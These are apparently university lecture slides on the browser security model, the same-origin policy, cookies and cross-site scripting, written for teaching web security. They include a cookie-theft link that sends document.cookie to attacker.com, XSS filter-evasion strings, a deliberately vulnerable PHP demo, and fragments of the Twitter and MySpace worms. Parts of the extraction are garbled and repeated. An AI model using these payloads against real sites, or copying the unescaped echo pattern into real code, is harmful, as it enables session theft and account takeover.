Web Security
[Browser Security Model]

Spring 2019

Franziska (Franzi) Roesner
franzi@cs.washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
• **Homework 2** due this Friday 5pm
• **Lab 2** out on Wednesday
  – Due Friday, May 24, 5pm
  – You will be able to start on most of it after Wed
  – You will be able to do all of it after next Mon
  – Please see readings on course schedule!
• **Final Project Checkpoint #1** due next Friday
• **My office hours this week:** Th 9:30-10:30am
Recap: Browser Security Model

Goal 1: Protect local system from web attacker

→ Browser Sandbox

Goal 2: Protect/isolate web content from other web content

→ Same Origin Policy (plus sandbox)
Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

- Some examples of how messy it gets in practice...
- Browsers don’t (or didn’t) always get it right...

- We’ll talk about:
  - DOM / HTML Elements
  - Navigation
  - Cookie Reading
  - Cookie Writing [in section]
  - Iframes vs. Scripts
HTML + Document Object Model

This is the title

This is a sample page.

Hello world

Example.com

Document Object Model (DOM)
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

- **www.bank.com** (the parent) can access HTML elements in the iframe (and vice versa).
- **www.evil.com** (the parent) cannot access HTML elements in the iframe (and vice versa).
Question: Who Can Navigate a Frame?

Solution: Modern browsers only allow a frame to navigate its “descendent” frames.

If bad frame can navigate sibling frames, attacker gets password!
Browser Cookies

• HTTP is stateless protocol
• **Browser cookies used to introduce state**
  – Websites can store small amount of info in browser
  – Used for authentication, personalization, tracking...
  – Cookies are often secrets

```
POST login.php
  username and pwd

HTTP Header: Set-cookie:
  login_token=13579;
  domain = (who can read);
  expires = (when expires)

GET restricted.html
  Cookie: login_token=13579
```
Same Origin Policy: Cookie Reading

- Websites can only read/receive cookies from the same domain
  - Can’t steal login token for another site 😊
Same Origin Policy: Cookie Writing

Which cookies can be set by login.site.com?

allowed domains
✓ login.site.com
✓ .site.com

disallowed domains
✗ othersite.com
✗ .com
✗ user.site.com

login.site.com can set cookies for all of .site.com (domain suffix), but not for another site or top-level domain (TLD)
Problem: Who Set the Cookie?

Set-Cookie: Domain: `.site.com`  
Value: `userid=alice, token=1234`

Set-Cookie: Domain: `.site.com`  
Value: `userid=bob, token=5678`

Cookie: `userid=bob, token=5678`

Not a violation of the SOP!
Same-Origin Policy: Scripts

- When a website **includes a script**, that script **runs** in the context of the embedding website.

```html
www.example.com
<script src="http://otherdomain.com/library.js"></script>
```

The code from [http://otherdomain.com](http://otherdomain.com) **can** access HTML elements and cookies on **www.example.com**.

- If code in script sets cookie, under what origin will it be set?
- What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets...

• Example: leak info via image

Example: Cookie Theft

• Cookies often contain authentication token
  – Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
  
  `<a href="#" onclick="window.location='http://attacker.com/sto
  le.cgi?cookie='+document.cookie; return false;">Click here!</a>`

• Btw: Cookie theft via network eavesdropping
  – Cookies included in HTTP requests
  – One of the reasons HTTPS is important!
Firesheep

https://codebutler.github.io/firesheep/
Cross-Origin Communication

• Sometimes you want to do it...

• Cross-origin network requests
  – Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often:
      Access-Control-Allow-Origin: *

• Cross-origin client side communication
  – HTML5 postMessage between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- **Increases browser’s attack surface

Java and Flash both vulnerable—again—to new 0-day attacks
Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
News: Goodbye Flash

Get ready to finally say goodbye to Flash — in 2020

Posted Jul 25, 2017 by Frederic Lardinois (@fredericl)
What about Browser Extensions?

• Most things you use today are probably extensions
• **Examples:** AdBlock, Ghostery, Mailvelope
• **Goal:** Extend the functionality of the browser

• (Chrome:) Carefully designed security model to protect from malicious websites
  – **Privilege separation:** extensions consist of multiple components with well-defined communication
  – **Least privilege:** extensions request permissions
What about Browser Extensions?

- But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!

![Add "Mailvelope"?](image)
Stepping Back

• Browser security model
  – Browser sandbox: isolate web from local machine
  – Same origin policy: isolate web content from different domains
  – Also: Isolation for plugins and extensions

• Web application security (next)
  – How (not) to build a secure website
Web Application Security
Dynamic Web Application

GET / HTTP/1.1

HTTP/1.1 200 OK

index.php

Web server

Database server

Browser
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards

http://www.owasp.org
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code
  
  ```
  <input value="<?php echo $myvalue; ?>">
  ```
• Can embed variables in double-quote strings
  
  ```
  $user = "world"; echo "Hello $user!";
  or $user = "world"; echo "Hello" . $user . "!";
  ```
• Form data in global arrays $_GET, $_POST, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term="Justin Bieber"

search.php responds with

<html> <title>Search results</title> <body>You have searched for <?php echo潸$_GET['term'] ?>... </body>
Echoing / “Reflecting” User Input

naive.com/hello.php?name = Bob

Welcome, dear Bob

Welcome, dear

Cross-Site Scripting (XSS)

Access some web page

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/steal.cgi?cookie=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

Hello, dear
Welcome!</HTML>
XSS – Quick Demo

```php
<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
  Name: <input type="text" name="name" size="80">
  <input type="submit" value="submit">
</form>
<br><br><br>
<div id="greeting">
  <?php
  $name = $_GET['name'];
  if($name) { echo "Welcome " . $_GET['name'];}
  ?>
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad, comment in a blog
• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!
• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

Users view or download content

Server victim

Attack server

Store bad stuff
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token"+authtoken+"&status"+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token"+authtoken+"&user[url]="+xss+"&tab=home&update=update")

```
Preventing Cross-Site Scripting

- Any user input and client-side data must be preprocessed before it is used inside HTML
- Remove / encode HTML special characters
  - Use a good escaping library
    - OWASP ESAPI (Enterprise Security API)
    - Microsoft’s AntiXSS
  - In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    - ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  - In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

- Preventing injection of scripts into HTML is hard!
  - Blocking "<" and ">" is not enough
  - Event handlers, stylesheets, encoded inputs (%3C), etc.
  - phpBB allowed simple HTML tags like <b>

    <b c="">
    onmouseover="script" x="<b">
    Hello</b>

- Beware of filter evasion tricks (XSS Cheat Sheet)
  - If filter allows quoting (of <script>, etc.), beware of malformed quoting: <IMG """">SCRIPT>alert("XSS")</SCRIPT>"
  - Long UTF-8 encoding
  - Scripts are not only in <script>:

    <iframe src='https://bank.com/login' onload='steal()'>
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No <script>, <body>, onclick, <a href=javascript://>
- ... but does allow <div> tags for CSS.
  - <div style="background:url(‘javascript:alert(1)’)”>
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (2)

Resulting code:

```html
<http://namb.la/popular/tech.html>

MySpace Worm (2)

Resulting code:

```

http://namb.la/popular/tech.html

MySpace Worm (2)

Resulting code:

```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak